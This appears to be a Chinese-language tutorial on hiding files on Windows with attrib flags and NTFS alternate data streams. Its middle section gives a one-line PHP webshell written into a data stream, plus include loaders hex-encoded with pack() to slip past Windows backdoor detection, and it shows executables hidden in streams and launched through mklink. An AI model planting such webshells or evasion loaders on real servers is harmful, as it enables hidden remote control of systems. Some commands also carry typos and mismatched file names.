一、为文件或目录设置隐藏属性
Attrib
语法
attrib [{+r|-r}] [{+a|-a}] [{+s|-s}] [{+h|-h}] [[Drive**:][Path] FileName] [/s**[/d]]
参数
+r :设置只读文件属性。
-r :清除只读文件属性。
+a :设置存档文件属性。
-a :清除存档文件属性。
+s :设置系统文件属性。
-s :清除系统文件属性。
+h :设置隐藏文件属性。
-h :清除隐藏文件属性。
[ Drive : ][ Path ] FileName :指定要显示或更改其属性的目录、文件或文件集的位置和名称。您可以在FileName参数中使用通配符(即 ? 和 *)来显示或更改一组文件的属性。
/ S :适用ATTRIB任何命令行选项匹配的文件在当前目录及其所有子目录。
/ d :适用ATTRIB和任何命令行选项目录。
/? :在命令提示符下显示帮助。
示例
创建 1.txt
,设置文件隐藏属性
attrib +S +H 1.txt
可以使用 type 查看
显示隐藏文件也不显示 1.txt
二、使用 NTFS 文件属性来隐藏数据
NTFS文件流简介
NTFS 文件系统实现了多文件流特性,NTFS 环境一个文件默认使用的是未命名的文件流,同时可创建其他命名的文件流,windows 资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序。
NTFS文件流生成步骤
在任意一个 NTFS 分区下打开 CMD 命令提示符,输入
echo hello world >> 2.txt:test.txt
则在当前目录下会生成一个名为 2.txt
的文件,文件的大小为 0字节
,并且 2.txt 没有内容
只有输入以下命令才可以查看
notepad 2.txt:test.txt
在上边的命令中,2.txt
可以 不存在
,也可以是某个 已存在
的文件,文件格式无所谓 .txt .jpg .exe .asp
都行,冒号后 test.txt
也可以任意指定文件名以及后缀名(可以将任意文本信息隐藏于任意文件中),在不泄露冒号后文件名字的情况下,很难发现。
删除 宿主 文件,寄生 文件也会被删除
隐藏到文件夹
文件包含
echco "<?php @eval($_REQUEST[123]);?>" >> /:test.txt
echo "<?php include '/:test.txt';?>" >> 2.php
这里被 windows 检测除了后门
利用 pack()函数
解决 include
函数,将 1.php:shell.php
进行 hex
编码
<?php @include(PACK('H*','312e7068703a7368656c6c2e706870'));?>
或者
<?php
$a="312e7068703a7368"."656c6c2e706870";
$b="a";
include(PACK('H*',$$b))
?>
三、使用备用数据流将 payload 隐藏在其他类型的文件
ADS 备用数据流是 Windows 引入的新技术文件系统(NTFS)的产物。传统上引入它是为了提供与 Macintosh 系统的旧分层文件系统(HFS)的文件共享的兼容性,其中数据可以分叉到不同的资源中,并存储称为元数据的文件的附加数据
## ADS Powershell
创建 ADS 文件,添加内容并隐藏
echo "123" > 1.txt
Set-Content 1.txt -stream text
* 位于命令管道位置 1 的 cmdlet Set-Content
* 请为以下参数提供值:
* Value[0]: hello
* Value[1]:
* 这里直接 dir 是看不到隐藏文件的也就是 b.txt:text:$DATA
Get-Content b.txt -stream text #查看目录中的所有文件
查看目录中的所有文件
Get-Item -path .\1.txt -stream *
如果将 ADS 文件从 NTFS 传输到 FAT32,将自动销毁替代数据流。(就比如将文件传到U盘),一个 ADS 文件是在 NTFS 系统中创建的,但是一旦将它传输到 FAT32 闪存驱动器,就会看提示不允许使用 ADS 复制文件。这是因为 ADS 功能是在 NTFS 中引入的,而 FAT32 并不支持
在文本文件中隐藏图像
echo helloworld > 1.txt
type hong.jpg > 1.txt:hong.jpg
del hong.jpg
dir /r
在文本文件中隐藏音频
echo Jay > 1.txt
type Jay-baisefengche.mp3 > 1.txt:Jay-baisefengche.mp3
del Jay-baisefengche.mp3
dir /r
在文本文件中隐藏exe、vbs、ps1
微软为了安全性,在windows-xp以后的操作系统(从win7开始)就不允许直接使用 start
打开 ntfs
数据流文件,而必须使用 mklink
命令来为流文件建立一个链接,然后通过这个链接文件来打开流文件,mklink
需要高权限
type calc.exe > a.txt:calc.exe
del calc.exe
start a.txt:calc.exe // 不允许直接使用了
mklink d.exe c.txt:calc.exe // 为流文件建立一个链接
四、工具
https://github.com/wangyongxina/filestreams